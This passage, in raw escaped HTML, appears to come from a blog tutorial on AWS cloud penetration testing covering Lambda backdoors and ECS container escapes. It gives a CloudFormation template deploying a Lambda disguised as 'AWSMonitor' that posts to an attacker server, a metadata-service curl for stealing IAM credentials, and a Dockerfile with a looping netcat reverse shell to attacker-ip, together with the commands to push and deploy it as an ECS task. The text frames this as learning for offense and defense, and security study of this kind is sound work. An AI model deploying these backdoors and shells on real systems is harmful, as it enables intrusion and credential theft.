class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AWSTemplateFormatVersion: &amp;#39;2010-09-09&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Resources:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; MaliciousLambda:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Type: AWS::Lambda::Function&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Properties:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; FunctionName: &amp;#34;AWSMonitor&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Runtime: &amp;#34;python3.8&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Role: &amp;#34;arn:aws:iam::123456789012:role/LambdaExecutionRole&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Handler: &amp;#34;index.lambda_handler&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Code:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ZipFile: |&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import os&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; import subprocess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; def lambda_handler(event, context):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; subprocess.call(&amp;#34;curl -X POST -d &amp;#39;AWS Access Compromised&amp;#39; http://ATTACKER_SERVER&amp;#34;, shell=True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return &amp;#34;Executed&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;How to run it&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Creates the&lt;/strong&gt; &lt;code&gt;AWSMonitor&lt;/code&gt;** Lambda function, disguised as an AWS monitoring tool so that administrators are less likely to notice it.**&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;When Lambda runs, it sends data to the attacker&amp;rsquo;s server, and the attacker can use it to execute remote commands.&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;One more point here: the important thing with CloudFormation is knowing how to use it. There is no need to study it obsessively in depth; you could even have AI produce the result. The boto3 library in Lambda is different, though. You need to use it often, it can do a lot of things, and you absolutely have to learn it.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h3 id="ecs-container-escape"&gt;&lt;a href="#ecs-container-escape" class="header-anchor"&gt;&lt;/a&gt;ECS Container Escape&#10;&lt;/h3&gt;&lt;p&gt;ECS is a &lt;strong&gt;container orchestration service&lt;/strong&gt; provided by AWS. You can think of it as &lt;strong&gt;AWS&amp;rsquo;s version of a Docker management platform&lt;/strong&gt;, similar to Kubernetes (though not exactly the same).&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;ECS escape mainly involves two modes:&lt;/strong&gt;&lt;/p&gt;&#10;&lt;ol&gt;&#10;&lt;li&gt;&lt;strong&gt;ECS on EC2&lt;/strong&gt;: ECS running on EC2, where the attack target is the underlying EC2 instance.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;ECS on Fargate&lt;/strong&gt;: A serverless way to run ECS, where the goal is to escape to other AWS resources (such as IAM, S3, and so on).&lt;/li&gt;&#10;&lt;/ol&gt;&#10;&lt;p&gt;&lt;strong&gt;Outline&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;1. Privileged container mode (I won&amp;rsquo;t reproduce native docker penetration techniques here, only set up the environment to understand the architecture)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Use a &lt;strong&gt;privileged container&lt;/strong&gt; running on ECS to escape to the host&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;If the task definition enables &lt;code&gt;privileged: true&lt;/code&gt;, you can directly use &lt;code&gt;chroot&lt;/code&gt; to enter the host&lt;/li&gt;&#10;&lt;li&gt;Use &lt;code&gt;cap_add: SYS_ADMIN&lt;/code&gt; to access the ECS host&amp;rsquo;s &lt;code&gt;cgroup&lt;/code&gt; or &lt;code&gt;/proc&lt;/code&gt;&lt;/li&gt;&#10;&lt;li&gt;Run a &lt;code&gt;--privileged&lt;/code&gt; container to gain root privileges on the ECS host&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;2. Abusing ECS task definitions (key section)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Execute malicious commands through a misconfigured ECS task definition&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Deploy a &lt;strong&gt;malicious image&lt;/strong&gt; (containing a reverse shell)&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Add credentials as environment variables&lt;/strong&gt; in the task definition (to steal AWS access keys)&lt;/li&gt;&#10;&lt;li&gt;Mount &lt;code&gt;/var/run/docker.sock&lt;/code&gt; to access the host&amp;rsquo;s Docker API (&lt;strong&gt;Docker API escape&lt;/strong&gt;)&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;3. Mount escape (I won&amp;rsquo;t reproduce native docker penetration techniques here)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: Use &lt;code&gt;--mount type=bind&lt;/code&gt; to access the ECS host&amp;rsquo;s file system&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Mount &lt;code&gt;/root/.aws/credentials&lt;/code&gt; to access AWS credentials&lt;/li&gt;&#10;&lt;li&gt;Mount the &lt;code&gt;/etc/&lt;/code&gt; directory to obtain sensitive configuration from the ECS host&lt;/li&gt;&#10;&lt;li&gt;Mount &lt;code&gt;/var/lib/docker/&lt;/code&gt; to directly manipulate the Docker file system and access other containers&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;&lt;strong&gt;4. API Credential leakage (I&amp;rsquo;ve already studied this, so I won&amp;rsquo;t reproduce it)&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Goal&lt;/strong&gt;: ECS tasks may contain AWS IAM role credentials, allowing lateral movement through the cloud environment&#10;&lt;strong&gt;Attack methods&lt;/strong&gt;:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;Access the &lt;strong&gt;AWS metadata service&lt;/strong&gt; through an ECS container&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://169.254.169.254/latest/meta-data/iam/security-credentials/&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;Obtain the ECS task&amp;rsquo;s IAM Role and use &lt;code&gt;aws configure&lt;/code&gt; to access the AWS API&lt;/li&gt;&#10;&lt;li&gt;Steal AWS access keys and try to access S3, EC2, and DynamoDB&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h4 id="privileged-container-escape"&gt;&lt;a href="#privileged-container-escape" class="header-anchor"&gt;&lt;/a&gt;Privileged Container Escape&#10;&lt;/h4&gt;&lt;h5 id="how-it-works"&gt;&lt;a href="#how-it-works" class="header-anchor"&gt;&lt;/a&gt;How It Works&#10;&lt;/h5&gt;&lt;p&gt;Use &lt;strong&gt;privileged mode&lt;/strong&gt; (&lt;code&gt;--privileged&lt;/code&gt;), mount &lt;code&gt;/&lt;/code&gt;, and access the ECS host&lt;/p&gt;&#10;&lt;h5 id="environment-setup"&gt;&lt;a href="#environment-setup" class="header-anchor"&gt;&lt;/a&gt;Environment Setup&#10;&lt;/h5&gt;&lt;p&gt;&lt;strong&gt;I originally copied and pasted all the steps so you could simply follow them one by one, but it wasn&amp;rsquo;t actually that easy. I got stuck here for an entire day and spent that day learning how ECS works. Its architecture is seriously impressive, so it took me quite a while to learn. That&amp;rsquo;s exactly why I deleted the original written steps and used images to show the environment setup instead. If you&amp;rsquo;re interested in this service, you can go through every step I took and learn how it works. This isn&amp;rsquo;t a basic concept, and once you&amp;rsquo;ve learned the steps below, you&amp;rsquo;ll pretty much know how to use it.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Just click Create. The next step is the task definition. Once the setup is complete, I&amp;rsquo;ll explain how these pieces connect to one another and what the architecture looks like.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Just click Create. Next, enable privileged mode (there is no option for privileged mode, so you can only edit the json).&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sleep,infinity&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Just click Create. A single wrong step can cause it to fail. Pay particular attention to adding the comma in the command field—I was stuck on this for quite a while too.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Now that we&amp;rsquo;ve reached this point, let me first explain the overall process. When creating the cluster, select the free EC2 option, open port 22 in the security group, and set the minimum value to 1. This way, an EC2 instance will be created automatically when you finish creating the cluster. What happens if the minimum is still left at the default value of 0? You either have to create an EC2 instance yourself and add it to ECS, or every time you start a task like the one above, it will create an EC2 instance by itself and run the task. You can see how troublesome it would be to start another EC2 instance as the physical machine for docker when the minimum value is 0. That finishes the cluster. Now let&amp;rsquo;s look at what a task definition actually is. A task definition mainly describes what you want to run. You define things like: How many resources does it need? What image does it need? What services should be mapped? Can it interact with AWSAPI? All of that can be defined here. In other words, this defines the kind of docker service you want to run. The cluster is essentially a collection of docker instances, and here we&amp;rsquo;ve just defined one type of docker. Next, we need to deploy that docker to the cluster. This is the final task deployment step: we deploy the task we just defined to the EC2 instance in the cluster we created, and we also override its command. Why do we override the command with sleep infinity?&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Let me use a separate paragraph to explain the definitions of tasks and services.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;A task simply ends once it has finished running. For example, scheduled jobs, machine learning training jobs, and other one-off tasks are done as soon as they finish running; they don&amp;rsquo;t need to keep running. When you want to run a long-lived service such as nginx, you need to create a service. That&amp;rsquo;s the basic idea. This is also why we write sleep infinity: it keeps the task alive; otherwise, it shuts down immediately after it finishes. You can try leaving out sleep infinity. After submitting the task, you&amp;rsquo;ll immediately see a message in the cluster saying that the task has ended. The two are not fundamentally all that different, and it isn&amp;rsquo;t really a matter of one being more convenient than the other. Tasks are simply better for understanding the basic concepts because the logic is very clear. I won&amp;rsquo;t set up a service later on either.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Overall, this is still very complicated and may be quite hard to understand. Try setting up the whole thing yourself once, and it should start to make sense.&lt;/strong&gt;&lt;/p&gt;&#10;&lt;h5 id="reproduction-and-verification-4"&gt;&lt;a href="#reproduction-and-verification-4" class="header-anchor"&gt;&lt;/a&gt;Reproduction and Verification&#10;&lt;/h5&gt;&lt;p&gt;Use SSH to log in to the EC2 instance we just created.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The agent comes preinstalled. The one above it is the docker task we created. (If you don&amp;rsquo;t use the automatic method to create a physical machine for docker and configure it yourself instead, you&amp;rsquo;ll need to install this agent.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Because of the configuration we just made, this is already running in privileged mode.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/aws-cloud-pentesting/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That&amp;rsquo;s as far as we&amp;rsquo;ll go here. Everything after this is the classic docker privileged-mode escape. If you&amp;rsquo;re interested, you can find the answer everywhere on Baidu or google. One thing worth noting is that amazonlinux started as a task generally lacks many things because it is so small. Starting it as a service actually gives you a little more. Because of this, some commands used for a privileged-mode escape from a task may not exist. At this point, this is really just a standard docker vulnerability, and this is how it works. ECS is simply a tool similar to K8S for managing docker, nothing more.&lt;/p&gt;&#10;&lt;h5 id="additional-notes-4"&gt;&lt;a href="#additional-notes-4" class="header-anchor"&gt;&lt;/a&gt;Additional Notes&#10;&lt;/h5&gt;&lt;p&gt;After reading this far, you might feel that we spent all this time setting up ECS only to end up reproducing a vulnerability in docker itself, so why bother with the setup when it is both mentally exhausting and time-consuming? But that isn&amp;rsquo;t the case. While setting up the environment, we learned how to set up ECS, studied its basic concepts, and understood its architecture. Cloud security isn&amp;rsquo;t only about attacks; it also includes defense. Many people say you need to understand attacks before you know how to defend against them, but first you have to understand the underlying logic. Take SQL injection, for example. Once you know how injection works, you know how to defend against it. Say you&amp;rsquo;re given a WAF and asked to block SQL injection. You write a rule that filters out every &amp;lsquo;&lt;code&gt;)&lt;/code&gt; at the interface that interacts with the backend database. The attacker discovers that the rule seems to filter &amp;lsquo;&lt;code&gt;)&lt;/code&gt;, then bypasses it with URL encoding and can still run queries using union, select, sleep, substr, and so on. Once you notice that, you start frantically adding regexes and rules to block those statements, while the attacker keeps trying to bypass them. But did you notice? The underlying principle is still transformed SQL statements and encoding-based bypasses. Only when you truly understand the principles and logic behind SQL injection, and understand how attackers and defenders improve and iterate, can you see the core of offense and defense. Neither side ever escapes the original concepts. This is exactly why you should personally set up ECS once to understand its concepts and architecture. Cloud security always combines offense and defense.&lt;/p&gt;&#10;&lt;h4 id="abusing-ecs-task-definitions"&gt;&lt;a href="#abusing-ecs-task-definitions" class="header-anchor"&gt;&lt;/a&gt;Abusing ECS Task Definitions&#10;&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;1. Exploit ECS task-definition misconfigurations to execute malicious commands or steal credentials&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;2. Exploit ECS task-definition errors to gain access to the ECS host&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;3. Mount the host&amp;rsquo;s Docker API through an ECS task definition to access other containers&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;I won&amp;rsquo;t set up environments for these three methods. The explanations should be clear enough, and they&amp;rsquo;re all fairly simple overall.&lt;/p&gt;&#10;&lt;h5 id="1-deploying-a-malicious-image"&gt;&lt;a href="#1-deploying-a-malicious-image" class="header-anchor"&gt;&lt;/a&gt;1. Deploying a Malicious Image&#10;&lt;/h5&gt;&lt;p&gt;ECS lets users create their own &lt;strong&gt;task definitions (Task Definition)&lt;/strong&gt; and then pull and run images from &lt;strong&gt;ECR (Elastic Container Registry)&lt;/strong&gt; or &lt;strong&gt;Docker Hub&lt;/strong&gt;.&lt;/p&gt;&#10;&lt;p&gt;If an attacker can &lt;strong&gt;create or modify an ECS task definition&lt;/strong&gt;, they can &lt;strong&gt;deploy a backdoored malicious image&lt;/strong&gt;, for example:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;An image with a built-in reverse Shell&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An image with built-in AWS access keys&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;An image with a built-in scheduled task that periodically uploads sensitive data&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;&lt;strong&gt;The attacker uploads a malicious image&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;Build an image containing a reverse Shell:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;FROM ubuntu&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;RUN apt update &amp;amp;&amp;amp; apt install -y netcat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CMD /bin/bash -c &amp;#34;while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Push it to your own ECR&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker build -t my-malicious-image .&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;aws ecr create-repository --repository-name evil-repo&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker tag my-malicious-image &amp;lt;aws-account-id&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;docker push &amp;lt;aws-account-id&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Modify the ECS task definition&lt;/strong&gt;&lt;/li&gt;&#10;&lt;li&gt;Change the &lt;code&gt;image&lt;/code&gt; in the task definition to the malicious image:&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;containerDefinitions&amp;#34;: [&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;name&amp;#34;: &amp;#34;evil-container&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;image&amp;#34;: &amp;#34;&amp;lt;aws-account-id&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest&amp;#34;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;cpu&amp;#34;: 512,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;memory&amp;#34;: 512,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#34;essential&amp;#34;: true&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Register the ECS task definition and run the task&lt;/strong&gt;&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span 